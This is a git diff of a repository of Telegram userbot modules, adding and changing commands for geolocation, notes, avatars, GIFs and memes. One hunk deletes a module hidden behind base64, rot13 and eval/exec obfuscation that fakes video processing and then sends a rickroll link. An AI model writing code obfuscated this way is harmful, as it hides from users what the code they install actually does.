diff --git a/KeyZenD/modules/VideoDistortion.py b/KeyZenD/modules/VideoDistortion.py deleted file mode 100644 index b9688e8..0000000 --- a/KeyZenD/modules/VideoDistortion.py +++ /dev/null @@ -1,11 +0,0 @@ -# Python code obfuscated by www.development-tools.net - - -import base64, codecs -magic = 'aW1wb3J0IGFzeW5jaW8NCmltcG9ydCBsb2dnaW5nDQpmcm9tIC4uIGltcG9ydCBsb2FkZXIsIHV0aWxzDQoNCmxvZ2dlciA9IGxvZ2dpbmcuZ2V0TG9nZ2VyKF9fbmFtZV9fKQ0KDQpAbG9hZGVyLnRkcw0KY2xhc3MgVmlkZW9EaXN0b3J0aW9ydE1vZChsb2FkZXIuTW9kdWxlKToNCgkiIiLQltC80YvRhSDQtNC70Y8g0LLQuNC00LXQviIiIg0KCXN0cmluZ3MgPSB7Im5hbWUiOiAiVmlkZW9EaXN0b3J0aW9uIn0NCg0KCUBsb2FkZXIudW5yZXN0cmljdGVkDQoJYXN5bmMgZGVmIHZkaXN0b3J0Y21kKHNlbGYsIG1lc3NhZ2UpOg0KCQkiIiIudmRpc3RvcnQgPHJlcGx5IHRvIHZpZGVvPiIiIg0KCQlhd2FpdCBtZXNzYWdlLmVkaXQoIjxiPtCX0LDQs9GA0YPQttCw0Y4g0LLQuNC00LXQvi4uLjwvYj4iKQ0KCQlhd2FpdCBhc3luY2lvLnNsZWVwKDUpDQoJCWF3YWl0IG1lc3NhZ2UuZWRpdCgiPGI+0JTQvtGB0YLQsNGOINC60LDQtNGA0YsuLi48L2' -love = 'V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPH0YKDh9Pj0L4t0YoDiATY0LHhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPu0Y7DfqP40LQDfATBVAP60YQDgATN0LfhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPr0LYDi9TN0YQDfgP70L/EwvQDfgP40YGDgqP+Yv4hCP9vCvVcQDbWPJS3LJy0VTSmrJ5wnJ8hp2kyMKNbAFxAPtxWLKqunKDtoJImp2SaMF5woTyyoaDhp2IhMS9znJkyXT1yp3AuM2HhL2uuqPjtVzu0qUN6Yl94rJI0LF5goP9zY05yqzIlE29hozSUnKMyJJ91IKNhoKN0VvjtL2SjqTyiow0vCTV+GzI2MKVtE29hozRtE2y2MFOMo3HtIKNuCP9vCvVcQDbWPJS3LJy0VT1yp3AuM2HhMJEcqPtvJJ91VUquplOlnJAepz9foTIxVFVcQDbWPD0XVvVv' -god = 'DQppbXBvcnQgYXN5bmNpbw0KaW1wb3J0IGxvZ2dpbmcNCmZyb20gLi4gaW1wb3J0IGxvYWRlciwgdXRpbHMNCg0KbG9nZ2VyID0gbG9nZ2luZy5nZXRMb2dnZXIoX19uYW1lX18pDQoNCkBsb2FkZXIudGRzDQpjbGFzcyBWaWRlb0Rpc3RvcnRpb3J0TW9kKGxvYWRlci5Nb2R1bGUpOg0KCSLQltC80YvRhSDQtNC70Y8g0LLQuNC00LXQviINCglzdHJpbmdzID0geyJuYW1lIjogIlZpZGVvRGlzdG9ydGlvbiJ9DQoNCglAbG9hZGVyLnVucmVzdHJpY3RlZA0KCWFzeW5jIGRlZiB2ZGlzdG9ydGNtZChzZWxmLCBtZXNzYWdlKToNCgkJIi52ZGlzdG9ydCA8cmVwbHkgdG8gdmlkZW8+Ig0KCQlhd2FpdCBtZXNzYWdlLmVkaXQoIjxiPtCX0LDQs9GA0YPQttCw0Y4g0LLQuNC00LXQvi4uLjwvYj4iKQ0KCQlhd2FpdCBhc3luY2lvLnNsZWVwKDUpDQoJCWF3YWl0IG1lc3NhZ2UuZWRpdCgiPGI+0JTQvtGB0YLQsNGOINC60LDQtNGA0YsuLi48L2I+IikNCg' -destiny = 'xWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPH0YKDh9Pj0L4t0YoDiATY0LHhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPu0Y7DfqP40LQDfATBVAP60YQDgATN0LfhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPr0LYDi9TN0YQDfgP70L/EwvQDfgP40YGDgqP+Yv4hCP9vCvVcQDbWPJS3LJy0VTSmrJ5wnJ8hp2kyMKNbAFxAPtxWLKqunKDtoJImp2SaMF5woTyyoaDhp2IhMS9znJkyXT1yp3AuM2HhL2uuqPjtVzu0qUN6Yl94rJI0LF5goP9zY05yqzIlE29hozSUnKMyJJ91IKNhoKN0VvjtL2SjqTyiow0vCTV+GzI2MKVtE29hozRtE2y2MFOMo3HtIKNuCP9vCvVcQDbWPJS3LJy0VT1yp3AuM2HhMJEcqPtvJJ91VUquplOlnJAepz9foTIxVFVcQDbWPD0XVvVvQDbWPD==' -joy = '\x72\x6f\x74\x31\x33' -trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') -eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec')) \ No newline at end of file diff --git a/Ruslan-Isaev/modules/GeoMod.py b/Ruslan-Isaev/modules/GeoMod.py new file mode 100644 index 0000000..e88b54c --- /dev/null +++ b/Ruslan-Isaev/modules/GeoMod.py @@ -0,0 +1,61 @@ +__version__ = (1, 0, 0) + +# meta developer: @RUIS_VlP + +from .. import loader, utils +import aiohttp +from telethon.tl.types import InputGeoPoint, InputMediaGeoPoint +from urllib.parse import quote + +async def get_coordinates(query: str): + base_url = "https://nominatim.openstreetmap.org/search" + encoded_query = quote(query) + + url = f"{base_url}?q={encoded_query}&format=json" + headers = { + "User-Agent": "Heroku-GeoMod/1.0 (https://t.me/RUIS_VlP)" + } + + async with aiohttp.ClientSession() as session: + async with session.get(url, headers=headers) as resp: + if resp.status == 200: + data = await resp.json() + if data: + lat = float(data[0]["lat"]) + lon = float(data[0]["lon"]) + return [lat, lon] + return None + +@loader.tds +class GeoMod(loader.Module): + """Модуль для отправки геолокации с указанным адресом или координатами""" + + strings = { + "name": "GeoMod", + } + + @loader.command() + async def sendgeo(self, message): + """<адрес> - отправить геолокацию с указанным адресом или координатами""" + args = utils.get_args_raw(message) + if not args: + await utils.answer( + message, + "Укажите адрес, например: .sendgeo Москва, Манежная улица, 2" + ) + return + + coords = await get_coordinates(args) + if coords: + await message.client.send_file( + message.chat_id, + InputMediaGeoPoint( + geo_point=InputGeoPoint( + lat=coords[0], + long=coords[1], + ) + ) + ) + await message.delete() + else: + await utils.answer(message, "Координаты не найдены.") \ No newline at end of file diff --git a/Ruslan-Isaev/modules/photos/cover.txt b/Ruslan-Isaev/modules/photos/cover.txt new file mode 100644 index 0000000..66de0c0 --- /dev/null +++ b/Ruslan-Isaev/modules/photos/cover.txt @@ -0,0 +1,36 @@ +PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT4vdG1wL2ZpbGVzIC0gNjFf +MjAyNTEwMTMwMjIzMjAuanBnPC90aXRsZT4KCiAgICA8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50 +LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgogICAgPG1ldGEgbmFt +ZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0x +LjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vIj4KCiAgICA8bGluayBocmVm +PSIvY3NzL3N0eWxlLmNzcyIgbWVkaWE9ImFsbCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0 +L2NzcyIvPgogICAgPGxpbmsgaHJlZj0nLy9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5 +PU9wZW4rU2FucytDb25kZW5zZWQ6MzAwLDcwMCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0 +L2NzcycvPgoKICAgIDxzY3JpcHQgZGF0YS1jZmFzeW5jPSJmYWxzZSIgc3JjPSIvL2RnYWYybmN5 +NGR0YW4uY2xvdWRmcm9udC5uZXQvP25mYWdkPTEyMTM0NTEiPjwvc2NyaXB0PgoKCiAgICA8IS0t +IEdsb2JhbCBzaXRlIHRhZyAoZ3RhZy5qcykgLSBHb29nbGUgQW5hbHl0aWNzIC0tPgogICAgPHNj +cmlwdCBhc3luYyBzcmM9Imh0dHBzOi8vd3d3Lmdvb2dsZXRhZ21hbmFnZXIuY29tL2d0YWcvanM/ +aWQ9VUEtNjYxMTIxNjEtMiI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0PgogICAgICAgIHdpbmRvdy5k +YXRhTGF5ZXIgPSB3aW5kb3cuZGF0YUxheWVyIHx8IFtdOwoKICAgICAgICBmdW5jdGlvbiBndGFn +KCkgewogICAgICAgICAgICBkYXRhTGF5ZXIucHVzaChhcmd1bWVudHMpOwogICAgICAgIH0KCiAg +ICAgICAgZ3RhZygnanMnLCBuZXcgRGF0ZSgpKTsKICAgICAgICBndGFnKCdjb25maWcnLCAnVUEt +NjYxMTIxNjEtMicpOwogICAgPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHk+CjxkaXYgaWQ9ImNvbnRh +aW5lciI+CiAgICA8aGVhZGVyPgogICAgICAgIDxoMT48YSBocmVmPSIvIj4vdG1wL2ZpbGVzPC9h +PjwvaDE+CiAgICAgICAgPGgyPlRlbXBvcmFyeSBGaWxlIEhvc3Rpbmc8L2gyPgogICAgPC9oZWFk +ZXI+CiAgICA8c2VjdGlvbj4KICAgICAgICAKICAgIDx0YWJsZSBzdHlsZT0iY29sb3I6ICNmZmZm +ZmY7IGZvbnQtc2l6ZTogMTJweDsiPgogICAgICAgIDx0cj4KICAgICAgICAgICAgPHRoIHN0eWxl +PSJ3aWR0aDogODBweDsiPkZpbGVuYW1lPC90aD4KICAgICAgICAgICAgPHRkPjYxXzIwMjUxMDEz +MDIyMzIwLmpwZzwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0 +aD5TaXplPC90aD4KICAgICAgICAgICAgPHRkPjU1LjI1IEtCPC90ZD4KICAgICAgICA8L3RyPgog +ICAgICAgIDx0cj4KICAgICAgICAgICAgPHRoPlVSTDwvdGg+CiAgICAgICAgICAgIDx0ZD48YSB0 +YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3RtcGZpbGVzLm9yZy9kbC8zOTczNjYyLzYxXzIw +MjUxMDEzMDIyMzIwLmpwZyI+aHR0cDovL3RtcGZpbGVzLm9yZy9kbC8zOTczNjYyLzYxXzIwMjUx +MDEzMDIyMzIwLmpwZzwvYT48L3RkPgogICAgICAgIDwvdHI+CiAgICAgICAgPHRyPgogICAgICAg +ICAgICA8dGg+RXhwaXJlcyBhdDwvdGg+CiAgICAgICAgICAgIDx0ZD4yMDI1LTEwLTEzIDAwOjI2 +IFVUQzwvdGQ+CiAgICAgICAgPC90cj4KICAgIDwvdGFibGU+CiAgICA8YnI+CgogICAgICAgICAg +ICA8aW1nIGlkPSJpbWdfcHJldmlldyIgc3JjPSJodHRwOi8vdG1wZmlsZXMub3JnL2RsLzM5NzM2 +NjIvNjFfMjAyNTEwMTMwMjIzMjAuanBnIi8+CiAgICAKICAgIDwvc2VjdGlvbj4KICAgIDxmb290 +ZXI+CiAgICAgICAgPHVsPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+VXBsb2FkPC9hPjwv +bGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIvYXBpIj5BUEk8L2E+PC9saT4KICAgICAgICAg +ICAgPGxpPjxhIGhyZWY9Ii9hYm91dCI+QWJvdXQ8L2E+PC9saT4KICAgICAgICA8L3VsPgogICAg +PC9mb290ZXI+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K \ No newline at end of file diff --git a/Ruslan-Isaev/modules/whois.py b/Ruslan-Isaev/modules/whois.py index 57b72d3..9d4cbf7 100755 --- a/Ruslan-Isaev/modules/whois.py +++ b/Ruslan-Isaev/modules/whois.py @@ -63,7 +63,7 @@ async def get_whois(identifier, API_KEY: str) -> dict: return response async def fetch_dns_record(session, domain, record_type): - url = "https://unfiltered.adguard-dns.com/resolve" + url = "https://dns.google/resolve" headers = {"accept": "application/dns-json"} params = {"name": domain, "type": record_type} diff --git a/cryptexctl/modules-mirror/.gitignore b/cryptexctl/modules-mirror/.gitignore new file mode 100644 index 0000000..0dbf2f2 --- /dev/null +++ b/cryptexctl/modules-mirror/.gitignore @@ -0,0 +1,170 @@ +# ---> Python +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# UV +# Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +#uv.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/latest/usage/project/#working-with-version-control +.pdm.toml +.pdm-python +.pdm-build/ + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ + diff --git a/cryptexctl/modules-mirror/README.md b/cryptexctl/modules-mirror/README.md new file mode 100644 index 0000000..82e4c2d --- /dev/null +++ b/cryptexctl/modules-mirror/README.md @@ -0,0 +1,2 @@ +# modules + diff --git a/cryptexctl/modules-mirror/SomethingCreatingScriptErrors.py b/cryptexctl/modules-mirror/SomethingCreatingScriptErrors.py new file mode 100644 index 0000000..91f0a17 --- /dev/null +++ b/cryptexctl/modules-mirror/SomethingCreatingScriptErrors.py @@ -0,0 +1,53 @@ +__version__ = (0, 0, 2) +# +# 88 +# ,d ,d 88 +# 88 88 88 +# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88 +# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88 +# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88 +# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88 +# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88 +# d8' 88 +# d8' 88 +# © Copyright 2024 +# https://t.me/cryptexctl +# +# 🔒 Licensed under the GNU AGPLv3 +# 🌐 https://www.gnu.org/licenses/agpl-3.0.html +# something.py +# meta developer: @systemxplore +# scope: hikka_only +from telethon.tl.functions.messages import SendMediaRequest +from telethon.tl.types import InputMediaPhotoExternal +from .. import loader, utils + + +@loader.tds +class ScriptErrorMod(loader.Module): + strings = {"name": "ScriptErrorSender"} + + async def client_ready(self, client, db): + self.client = client + + @loader.command() + async def скриптовыеошибки(self, message): + image_url = "https://0x0.st/s/57tTFWzUT0tc4HmuG75z_Q/XnMz.jpg" + caption = "⚠️Что-то создает скриптовые ошибки" + + reply_to = await message.get_reply_message() + + try: + await self.client( + SendMediaRequest( + peer=message.chat_id, + media=InputMediaPhotoExternal(url=image_url), + message=caption, + reply_to_msg_id=reply_to.id if reply_to else None + ) + ) + except Exception as e: + await utils.answer(message, f"⚠️Что-то создает скриптовые ошибки") + + # Удаляем команду после выполнения + await message.delete() diff --git a/cryptexctl/modules-mirror/actually.py b/cryptexctl/modules-mirror/actually.py new file mode 100644 index 0000000..5fc8f71 --- /dev/null +++ b/cryptexctl/modules-mirror/actually.py @@ -0,0 +1,44 @@ +__version__ = (2, 0, 0) +# +# 88 +# ,d ,d 88 +# 88 88 88 +# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88 +# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88 +# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88 +# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88 +# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88 +# d8' 88 +# d8' 88 +# © Copyright 2024 +# https://t.me/cryptexctl +# +# 🔒 Licensed under the GNU AGPLv3 +# 🌐 https://www.gnu.org/licenses/agpl-3.0.html +# actually.py +# meta developer: @systemxplore +# scope: hikka_only +# scope: hikka_min 1.6.3 +from .. import loader, utils + +class ActuallyMod(loader.Module): + """ehm, actually🤓️.""" + strings = { + "name": "Actually", + "example_usage": "Используйте: .actually ur text" + } + + @loader.command() + async def actually(self, message): + """ehm, actually'""" + args = utils.get_args_raw(message) + if not args: + await utils.answer(message, self.strings["example_usage"]) + return + + # Формируем ответ + formatted_text = f"ehm,actually {args} {'🤓' * 10}" + + # Отправляем текст и удаляем команду + await message.respond(formatted_text) + await message.delete() diff --git a/cryptexctl/modules-mirror/avaclone.py b/cryptexctl/modules-mirror/avaclone.py new file mode 100644 index 0000000..1a7a751 --- /dev/null +++ b/cryptexctl/modules-mirror/avaclone.py @@ -0,0 +1,101 @@ +__version__ = (1, 1, 2) +# +# 88 +# ,d ,d 88 +# 88 88 88 +# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88 +# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88 +# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88 +# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88 +# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88 +# d8' 88 +# d8' 88 +# © Copyright 2024 +# https://t.me/cryptexctl +# +# 🔒 Licensed under the GNU AGPLv3 +# 🌐 https://www.gnu.org/licenses/agpl-3.0.html +# avaclone.py +# meta developer: @systemxplore +# scope: hikka_only +# scope: hikka_min 1.6.3 + +import asyncio +from telethon.tl.functions.photos import UploadProfilePhotoRequest +from telethon.errors.rpcerrorlist import PhotoCropSizeSmallError, FilePartsInvalidError +from telethon.tl.types import InputFile +from .. import loader, utils + +class AvaCloneMod(loader.Module): + """Устанавливает фото/видео/гиф аватарку многократно.\nОсторожно: возможен бан или флудвейт.""" + strings = {"name": "AvaClone"} + + @loader.command() + async def avaclone(self, message): + """ + Устанавливает аватарку указанное количество раз. + Используйте: .avaclone <количество> [ответ на файл/ссылка] + """ + args = utils.get_args(message) + if len(args) < 1: + await utils.answer(message, "Укажите количество раз и прикрепите файл.") + return + + try: + count = int(args[0]) + if count <= 0: + raise ValueError + except ValueError: + await utils.answer(message, "Некорректное количество раз.") + return + + reply = await message.get_reply_message() + media = None + + if reply and reply.media: + media = await self.client.download_media(reply.media) + elif len(args) > 1: + media = args[1] + else: + await utils.answer(message, "Ответьте на файл или укажите ссылку на файл.") + return + + extension = media.split(".")[-1].lower() + if extension not in ["jpg", "jpeg", "png", "gif", "mp4"]: + await utils.answer(message, "❌ Формат не поддерживается. Используйте JPG, PNG, GIF или MP4.") + return + + success_count = 0 + for i in range(count): + try: + uploaded_file = await self.client.upload_file(media) + if extension in ["gif", "mp4"]: + await self.client(UploadProfilePhotoRequest( + file=InputFile( + id=uploaded_file.id, + parts=uploaded_file.parts, + name=media, + md5_checksum=uploaded_file.md5_checksum + ) + )) + else: + await self.client(UploadProfilePhotoRequest(file=uploaded_file)) + success_count += 1 + await asyncio.sleep(2) + except PhotoCropSizeSmallError: + await utils.answer(message, "❌ Файл слишком маленький.") + break + except FilePartsInvalidError: + await utils.answer(message, "❌ Неверный файл.") + break + except Exception as e: + await utils.answer(message, f"Ошибка: {e}") + break + + if success_count > 0: + await utils.answer( + message, + f"✅ Установлено {success_count} раз(а). Возможен флудвейт, подождите 3 минуты перед следующим использованием." + ) + else: + await utils.answer(message, "❌ Не удалось установить аватарку.") \ No newline at end of file diff --git a/cryptexctl/modules-mirror/full.txt b/cryptexctl/modules-mirror/full.txt new file mode 100644 index 0000000..71df64a --- /dev/null +++ b/cryptexctl/modules-mirror/full.txt @@ -0,0 +1,11 @@ +actually +avaclone +premium_emoji_id +randomtrack +zovmodule +овощерезка +сланцы2 +notesmod +SomethingCreatingScriptErrors +forgotboard +komarumod \ No newline at end of file diff --git a/cryptexctl/modules-mirror/komarumod.py b/cryptexctl/modules-mirror/komarumod.py new file mode 100644 index 0000000..08db613 --- /dev/null +++ b/cryptexctl/modules-mirror/komarumod.py @@ -0,0 +1,33 @@ +__version__ = (2, 0, 0) +# meta developer: @wmodules + +from .. import loader, utils +import random +from telethon.tl.types import InputMessagesFilterGif + +class KomaruMod(loader.Module): + """Достает рандомную гифку из @komarugif\n канал заменил @systemxplore, оригинальный разработчик: @wmodules""" + + strings = {"name": "KomaruMod v2"} + + async def client_ready(self, client, db): + self.client = client + + async def komarugifcmd(self, message): + """Рандомная гифка""" + channel = "@komarugif" + gifs = [msg async for msg in self.client.iter_messages(channel, filter=InputMessagesFilterGif)] + if not gifs: + await message.edit("Нет доступных GIF-ов в канале!") + return + + random_gif = random.choice(gifs) + reply_to = message.reply_to_msg_id + + await self.client.send_file( + message.chat_id, + random_gif, + reply_to=reply_to + ) + + await message.delete() diff --git a/cryptexctl/modules-mirror/notesmod.py b/cryptexctl/modules-mirror/notesmod.py new file mode 100644 index 0000000..c77a981 --- /dev/null +++ b/cryptexctl/modules-mirror/notesmod.py @@ -0,0 +1,109 @@ +__version__ = (1, 0, 0) +# +# 88 +# ,d ,d 88 +# 88 88 88 +# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88 +# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88 +# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88 +# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88 +# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88 +# d8' 88 +# d8' 88 +# © Copyright 2024 +# https://t.me/cryptexctl +# +# 🔒 Licensed under the GNU AGPLv3 +# 🌐 https://www.gnu.org/licenses/agpl-3.0.html +# notesmod.py +# meta developer: @systemxplore +# scope: hikka_only +import os +from .. import loader, utils + + +@loader.tds +class NotesFileMod(loader.Module): + """Модуль для заметок с хранением в файлах""" + strings = {"name": "NotesFile"} + + def __init__(self): + self.notes_dir = "notes" + + async def client_ready(self, client, db): + self.client = client + + if not os.path.exists(self.notes_dir): + os.makedirs(self.notes_dir) + + @loader.command() + async def noteadd(self, message): + """ + Добавить заметку. + Использование: .noteadd #tag <текст> + """ + args = utils.get_args_raw(message) + if not args.startswith("#"): + await utils.answer(message, "❌ Укажите тег заметки, начиная с `#`.") + return + + try: + tag, text = args.split(" ", 1) + except ValueError: + await utils.answer(message, "❌ Укажите текст заметки после тега.") + return + + note_file = os.path.join(self.notes_dir, f"{tag[1:]}.txt") + with open(note_file, "w", encoding="utf-8") as f: + f.write(text) + + await utils.answer(message, f"✅ Заметка `{tag}` сохранена.") + + @loader.command() + async def notedelete(self, message): + """ + Удалить заметку. + Использование: .notedelete #tag + """ + tag = utils.get_args_raw(message) + if not tag.startswith("#"): + await utils.answer(message, "❌ Укажите тег заметки, начиная с `#`.") + return + + note_file = os.path.join(self.notes_dir, f"{tag[1:]}.txt") + if os.path.exists(note_file): + os.remove(note_file) + await utils.answer(message, f"✅ Заметка `{tag}` удалена.") + else: + await utils.answer(message, f"❌ Заметка `{tag}` не найдена.") + + @loader.command() + async def noteview(self, message): + """ + Просмотреть заметку. + Использование: .noteview #tag + """ + tag = utils.get_args_raw(message) + if not tag.startswith("#"): + await utils.answer(message, "❌ Укажите тег заметки, начиная с `#`.") + return + + note_file = os.path.join(self.notes_dir, f"{tag[1:]}.txt") + if os.path.exists(note_file): + with open(note_file, "r", encoding="utf-8") as f: + text = f.read() + await utils.answer(message, f"📝 Заметка `{tag}`:\n\n{text}") + else: + await utils.answer(message, f"❌ Заметка `{tag}` не найдена.") + + @loader.command() + async def notelist(self, message): + """ + Показать список всех заметок. + """ + files = os.listdir(self.notes_dir) + if not files: + await utils.answer(message, "📋 Нет сохранённых заметок.") + else: + notes_list = "\n".join(f"• `#{os.path.splitext(file)[0]}`" for file in files) + await utils.answer(message, f"📋 Список заметок:\n\n{notes_list}") diff --git a/cryptexctl/modules-mirror/premium_emoji_id.py b/cryptexctl/modules-mirror/premium_emoji_id.py new file mode 100644 index 0000000..4910b39 --- /dev/null +++ b/cryptexctl/modules-mirror/premium_emoji_id.py @@ -0,0 +1,58 @@ +__version__ = (1, 0, 0) +# +# 88 +# ,d ,d 88 +# 88 88 88 +# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88 +# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88 +# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88 +# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88 +# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88 +# d8' 88 +# d8' 88 +# © Copyright 2024 +# https://t.me/cryptexctl +# +# 🔒 Licensed under the GNU AGPLv3 +# 🌐 https://www.gnu.org/licenses/agpl-3.0.html +# premium_emoji_id.py +# meta developer: @systemxplore +# scope: hikka_only + +from telethon.tl.types import MessageEntityCustomEmoji +from .. import loader, utils + +class GetPremiumEmojiID(loader.Module): + """Получение ID премиум-эмодзи""" + strings = {"name": "PremiumEmojiID"} + + @loader.command() + async def getemoji_id(self, message): + """ + Получает ID премиум-эмодзи из сообщения + Использование: .getemoji_id <эмодзи> + """ + args = utils.get_args_raw(message) + if not args: + await utils.answer( + message, "❌ Пожалуйста, добавьте премиум-эмодзи после команды." + ) + return + + entities = message.entities + if not entities: + await utils.answer(message, "❌ Эмодзи не 